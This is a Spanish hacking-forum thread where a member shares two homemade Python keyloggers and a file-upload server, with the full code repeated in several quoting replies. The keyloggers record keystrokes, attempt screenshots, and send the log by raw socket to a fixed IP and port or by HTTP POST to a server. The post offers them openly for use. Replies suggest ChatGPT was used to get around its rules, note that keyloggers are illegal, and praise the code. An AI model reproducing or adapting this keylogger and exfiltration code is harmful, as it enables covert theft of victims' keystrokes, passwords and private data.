Keyloggers en Python (todo casero)


LinceCrypt

Tu lince confiable
Noderador
Nodero
Noder
Esto es básicamente un copy de mi github. Pues me aburría y después de muchos intentos saqué 2 keyloggers (no por mi cuenta enteros la verdad).

Disclaimer: No tengo ni puta idea de python, sé los básicos y que existen un par de librerías. Esto lo subo por si os sirve la idea o si queréis aprender a hacer algo tan básico como esto. Si alguien que sepa de esto quiere dejar su aporte acerca de qué añadirle o que cambiarle a estos keyloggers, bienvenida será su respuesta. Dicho esto, have fun.

1. Keylogger a máquina.
Este keylogger simplemente cuando lo ejecutas en terminal pues te registra lo que escribes y con la función send_file() la envías a una máquina en el puerto que desees. Con netcat escuchando se ve que se envía el contenido.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)
    
def send_file():
    # Specify the IP address and port of the receiver machine
    receiver_ip = "192.168.57.5"
    receiver_port = 3333

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Create a socket and establish a connection
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect((receiver_ip, receiver_port))

            # Send the file content
            sock.sendall(file_content)

            print("File sent successfully.")
        except ConnectionRefusedError:
            print(f"Connection to {receiver_ip}:{receiver_port} refused. Make sure the server is running.")
        except Exception as e:
            print(f"Error occurred while sending the file: {e}")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting

2. Keylogger a web server.

Este ya tiene algo más de tela. Hace lo mismo que el otro sólo que en vez de enviarlo a una máquina en concreto, al finalizarlo lo envías a una web.
Fue gracioso porque me hice un server en local con python3 -m http.server 80, pero la puta mierda esa no tenía POST implementado y me cagaba en mis muertos porque no se me subía. Al final rebuscando por ahí me hice una clase para poder subir archivos a una web (que sí implementaba el puto POST) y furulaba

2.1. FileUpload Server.


Python:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os

# Define the custom request handler
class FileUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Handle GET requests here (if needed)
        pass

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        file_content = self.rfile.read(content_length)

        # Save the file content to a file (e.g., "uploaded_file.txt")
        with open("uploaded_file.txt", "wb") as file:
            file.write(file_content)

        # Send a response back to the client
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"File uploaded successfully.")

def run_server(server_address, handler_class):
    httpd = HTTPServer(server_address, handler_class)
    print(f"Server started on http://{server_address[0]}:{server_address[1]}")
    httpd.serve_forever()

if __name__ == '__main__':
    # Specify the server IP and port (localhost)
    server_address = ('', 80)  # Use an empty string for the IP to listen on all available interfaces

    # Start the server
    run_server(server_address, FileUploadHandler)
2.2. Keylogger to Webserver.

Este es algo diferente al keylogger to machine, pero la función es la misma. Intento ver qué le meto, pues tiene la función que registra capturas de pantalla. La verdad creo que no funciona, pero me suda la polla un poco, vi que funcionaba el uplad al server y me quedé tan pancho JAJJA.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket
import requests

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)

def send_file():
    # Specify the URL of the server
    server_url = "http://localhost:80/upload"

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Prepare the HTTP headers and data
    headers = {'Content-Type': 'application/octet-stream'}  # Specify the Content-Type as binary data
    data = file_content

    try:
        # Send the POST request to the server
        response = requests.post(server_url, headers=headers, data=data)
        
        # Check the response status
        if response.status_code == 200:
            print("File sent successfully.")
        else:
            print(f"Failed to send file. Server returned status code: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Connection to the server failed. Make sure the server is running.")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting
 

Dark

🔥root313🔥
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder Pro
Noder
Esto es básicamente un copy de mi github. Pues me aburría y después de muchos intentos saqué 2 keyloggers (no por mi cuenta enteros la verdad).

Disclaimer: No tengo ni puta idea de python, sé los básicos y que existen un par de librerías. Esto lo subo por si os sirve la idea o si queréis aprender a hacer algo tan básico como esto. Si alguien que sepa de esto quiere dejar su aporte acerca de qué añadirle o que cambiarle a estos keyloggers, bienvenida será su respuesta. Dicho esto, have fun.

1. Keylogger a máquina.
Este keylogger simplemente cuando lo ejecutas en terminal pues te registra lo que escribes y con la función send_file() la envías a una máquina en el puerto que desees. Con netcat escuchando se ve que se envía el contenido.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)
   
def send_file():
    # Specify the IP address and port of the receiver machine
    receiver_ip = "192.168.57.5"
    receiver_port = 3333

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Create a socket and establish a connection
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect((receiver_ip, receiver_port))

            # Send the file content
            sock.sendall(file_content)

            print("File sent successfully.")
        except ConnectionRefusedError:
            print(f"Connection to {receiver_ip}:{receiver_port} refused. Make sure the server is running.")
        except Exception as e:
            print(f"Error occurred while sending the file: {e}")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting

2. Keylogger a web server.

Este ya tiene algo más de tela. Hace lo mismo que el otro sólo que en vez de enviarlo a una máquina en concreto, al finalizarlo lo envías a una web.
Fue gracioso porque me hice un server en local con python3 -m http.server 80, pero la puta mierda esa no tenía POST implementado y me cagaba en mis muertos porque no se me subía. Al final rebuscando por ahí me hice una clase para poder subir archivos a una web (que sí implementaba el puto POST) y furulaba

2.1. FileUpload Server.


Python:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os

# Define the custom request handler
class FileUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Handle GET requests here (if needed)
        pass

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        file_content = self.rfile.read(content_length)

        # Save the file content to a file (e.g., "uploaded_file.txt")
        with open("uploaded_file.txt", "wb") as file:
            file.write(file_content)

        # Send a response back to the client
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"File uploaded successfully.")

def run_server(server_address, handler_class):
    httpd = HTTPServer(server_address, handler_class)
    print(f"Server started on http://{server_address[0]}:{server_address[1]}")
    httpd.serve_forever()

if __name__ == '__main__':
    # Specify the server IP and port (localhost)
    server_address = ('', 80)  # Use an empty string for the IP to listen on all available interfaces

    # Start the server
    run_server(server_address, FileUploadHandler)
2.2. Keylogger to Webserver.

Este es algo diferente al keylogger to machine, pero la función es la misma. Intento ver qué le meto, pues tiene la función que registra capturas de pantalla. La verdad creo que no funciona, pero me suda la polla un poco, vi que funcionaba el uplad al server y me quedé tan pancho JAJJA.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket
import requests

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)

def send_file():
    # Specify the URL of the server
    server_url = "http://localhost:80/upload"

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Prepare the HTTP headers and data
    headers = {'Content-Type': 'application/octet-stream'}  # Specify the Content-Type as binary data
    data = file_content

    try:
        # Send the POST request to the server
        response = requests.post(server_url, headers=headers, data=data)
       
        # Check the response status
        if response.status_code == 200:
            print("File sent successfully.")
        else:
            print(f"Failed to send file. Server returned status code: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Connection to the server failed. Make sure the server is running.")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting
No estarán hechos con ChatGPT, no? Que veo mucho comentario.

Pon la web de donde los has sacado.
 
  • Like
Reacciones : kTo

kTo

Una, Grande y Libre.
Noderador
Nodero
Noder
Demasiado poco creíble que esté tan bien estructurado y programado.
 

Haze

Miembro muy activo
Burgués de Nodo
Noderador
Nodero
Noder
Esto es básicamente un copy de mi github. Pues me aburría y después de muchos intentos saqué 2 keyloggers (no por mi cuenta enteros la verdad).

Disclaimer: No tengo ni puta idea de python, sé los básicos y que existen un par de librerías. Esto lo subo por si os sirve la idea o si queréis aprender a hacer algo tan básico como esto. Si alguien que sepa de esto quiere dejar su aporte acerca de qué añadirle o que cambiarle a estos keyloggers, bienvenida será su respuesta. Dicho esto, have fun.

1. Keylogger a máquina.
Este keylogger simplemente cuando lo ejecutas en terminal pues te registra lo que escribes y con la función send_file() la envías a una máquina en el puerto que desees. Con netcat escuchando se ve que se envía el contenido.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)
   
def send_file():
    # Specify the IP address and port of the receiver machine
    receiver_ip = "192.168.57.5"
    receiver_port = 3333

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Create a socket and establish a connection
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect((receiver_ip, receiver_port))

            # Send the file content
            sock.sendall(file_content)

            print("File sent successfully.")
        except ConnectionRefusedError:
            print(f"Connection to {receiver_ip}:{receiver_port} refused. Make sure the server is running.")
        except Exception as e:
            print(f"Error occurred while sending the file: {e}")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting

2. Keylogger a web server.

Este ya tiene algo más de tela. Hace lo mismo que el otro sólo que en vez de enviarlo a una máquina en concreto, al finalizarlo lo envías a una web.
Fue gracioso porque me hice un server en local con python3 -m http.server 80, pero la puta mierda esa no tenía POST implementado y me cagaba en mis muertos porque no se me subía. Al final rebuscando por ahí me hice una clase para poder subir archivos a una web (que sí implementaba el puto POST) y furulaba

2.1. FileUpload Server.


Python:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os

# Define the custom request handler
class FileUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Handle GET requests here (if needed)
        pass

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        file_content = self.rfile.read(content_length)

        # Save the file content to a file (e.g., "uploaded_file.txt")
        with open("uploaded_file.txt", "wb") as file:
            file.write(file_content)

        # Send a response back to the client
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"File uploaded successfully.")

def run_server(server_address, handler_class):
    httpd = HTTPServer(server_address, handler_class)
    print(f"Server started on http://{server_address[0]}:{server_address[1]}")
    httpd.serve_forever()

if __name__ == '__main__':
    # Specify the server IP and port (localhost)
    server_address = ('', 80)  # Use an empty string for the IP to listen on all available interfaces

    # Start the server
    run_server(server_address, FileUploadHandler)
2.2. Keylogger to Webserver.

Este es algo diferente al keylogger to machine, pero la función es la misma. Intento ver qué le meto, pues tiene la función que registra capturas de pantalla. La verdad creo que no funciona, pero me suda la polla un poco, vi que funcionaba el uplad al server y me quedé tan pancho JAJJA.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket
import requests

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)

def send_file():
    # Specify the URL of the server
    server_url = "http://localhost:80/upload"

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Prepare the HTTP headers and data
    headers = {'Content-Type': 'application/octet-stream'}  # Specify the Content-Type as binary data
    data = file_content

    try:
        # Send the POST request to the server
        response = requests.post(server_url, headers=headers, data=data)
       
        # Check the response status
        if response.status_code == 200:
            print("File sent successfully.")
        else:
            print(f"Failed to send file. Server returned status code: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Connection to the server failed. Make sure the server is running.")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting
son de chatgpt por la forma de programar con lo de bypass de las reglas, estan de puta madre los keylogger un 10 bro y son ilegales que lo sepas que por esto la polcia te la lia, y tumban todos los que suben a google y a youtube todos los que ven, ten cuidaod la siguiente vez
 

LinceCrypt

Tu lince confiable
Noderador
Nodero
Noder
son de chatgpt por la forma de programar con lo de bypass de las reglas, estan de puta madre los keylogger un 10 bro y son ilegales que lo sepas que por esto la polcia te la lia, y tumban todos los que suben a google y a youtube todos los que ven, ten cuidaod la siguiente vez
Damn, pues el siguiente al sótano, thanks
 
  • Like
Reacciones : Haze

leono44

Miembro muy activo
Esto es básicamente un copy de mi github. Pues me aburría y después de muchos intentos saqué 2 keyloggers (no por mi cuenta enteros la verdad).

Disclaimer: No tengo ni puta idea de python, sé los básicos y que existen un par de librerías. Esto lo subo por si os sirve la idea o si queréis aprender a hacer algo tan básico como esto. Si alguien que sepa de esto quiere dejar su aporte acerca de qué añadirle o que cambiarle a estos keyloggers, bienvenida será su respuesta. Dicho esto, have fun.

1. Keylogger a máquina.
Este keylogger simplemente cuando lo ejecutas en terminal pues te registra lo que escribes y con la función send_file() la envías a una máquina en el puerto que desees. Con netcat escuchando se ve que se envía el contenido.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)
   
def send_file():
    # Specify the IP address and port of the receiver machine
    receiver_ip = "192.168.57.5"
    receiver_port = 3333

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Create a socket and establish a connection
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        try:
            sock.connect((receiver_ip, receiver_port))

            # Send the file content
            sock.sendall(file_content)

            print("File sent successfully.")
        except ConnectionRefusedError:
            print(f"Connection to {receiver_ip}:{receiver_port} refused. Make sure the server is running.")
        except Exception as e:
            print(f"Error occurred while sending the file: {e}")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting

2. Keylogger a web server.

Este ya tiene algo más de tela. Hace lo mismo que el otro sólo que en vez de enviarlo a una máquina en concreto, al finalizarlo lo envías a una web.
Fue gracioso porque me hice un server en local con python3 -m http.server 80, pero la puta mierda esa no tenía POST implementado y me cagaba en mis muertos porque no se me subía. Al final rebuscando por ahí me hice una clase para poder subir archivos a una web (que sí implementaba el puto POST) y furulaba

2.1. FileUpload Server.


Python:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os

# Define the custom request handler
class FileUploadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # Handle GET requests here (if needed)
        pass

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        file_content = self.rfile.read(content_length)

        # Save the file content to a file (e.g., "uploaded_file.txt")
        with open("uploaded_file.txt", "wb") as file:
            file.write(file_content)

        # Send a response back to the client
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"File uploaded successfully.")

def run_server(server_address, handler_class):
    httpd = HTTPServer(server_address, handler_class)
    print(f"Server started on http://{server_address[0]}:{server_address[1]}")
    httpd.serve_forever()

if __name__ == '__main__':
    # Specify the server IP and port (localhost)
    server_address = ('', 80)  # Use an empty string for the IP to listen on all available interfaces

    # Start the server
    run_server(server_address, FileUploadHandler)
2.2. Keylogger to Webserver.

Este es algo diferente al keylogger to machine, pero la función es la misma. Intento ver qué le meto, pues tiene la función que registra capturas de pantalla. La verdad creo que no funciona, pero me suda la polla un poco, vi que funcionaba el uplad al server y me quedé tan pancho JAJJA.


Python:
from pynput.keyboard import Listener, Key
import datetime
import time
import pyautogui
import socket
import requests

# Define the callback function to handle key press events
def on_press_function(key):
    # Write the pressed key to the file without single quotes
    with open("keylog2.txt", "a") as f:
        # Check if a special key is pressed, such as Enter, space, backspace (for deletion), etc
        if key == Key.enter:
            # Write a newline character to separate phrases
            f.write(f" - {datetime.datetime.now()}\n")
            f.write("\n")
        elif key == Key.space:
            # Write a space character to separate words
            f.write(" ")
        elif key == Key.backspace:
            f.write("[BACKSPACE]")
        else:
            f.write(str(key).strip("'"))

def capture_screenshot():
    # Generate a unique filename using the current timestamp
    timestamp = time.strftime("%Y%m%d_%H%M%S")
    filename = f"screenshot_{timestamp}.png"

    # Capture the screenshot and save it
    screenshot = pyautogui.screenshot()
    screenshot.save(filename)

def send_file():
    # Specify the URL of the server
    server_url = "http://localhost:80/upload"

    # Read the content of the file
    with open("keylog2.txt", "rb") as file:
        file_content = file.read()

    # Prepare the HTTP headers and data
    headers = {'Content-Type': 'application/octet-stream'}  # Specify the Content-Type as binary data
    data = file_content

    try:
        # Send the POST request to the server
        response = requests.post(server_url, headers=headers, data=data)
       
        # Check the response status
        if response.status_code == 200:
            print("File sent successfully.")
        else:
            print(f"Failed to send file. Server returned status code: {response.status_code}")
    except requests.exceptions.ConnectionError:
        print("Connection to the server failed. Make sure the server is running.")

# Create the listener object and attach the callback function
with Listener(on_press=on_press_function) as listener:
    try:
        # Start the listener to begin capturing keyboard events
        listener.join()
        while True:
            capture_screenshot()
            time.sleep(10)
    except KeyboardInterrupt:
        # Handle CTRL+C to terminate the program gracefully
        print("\nProgram terminated by user.")
        with open("keylog2.txt", "a") as f:
            f.write("\n")
        send_file()  # Call send_file() here so that the file is sent before exiting
excelente aporte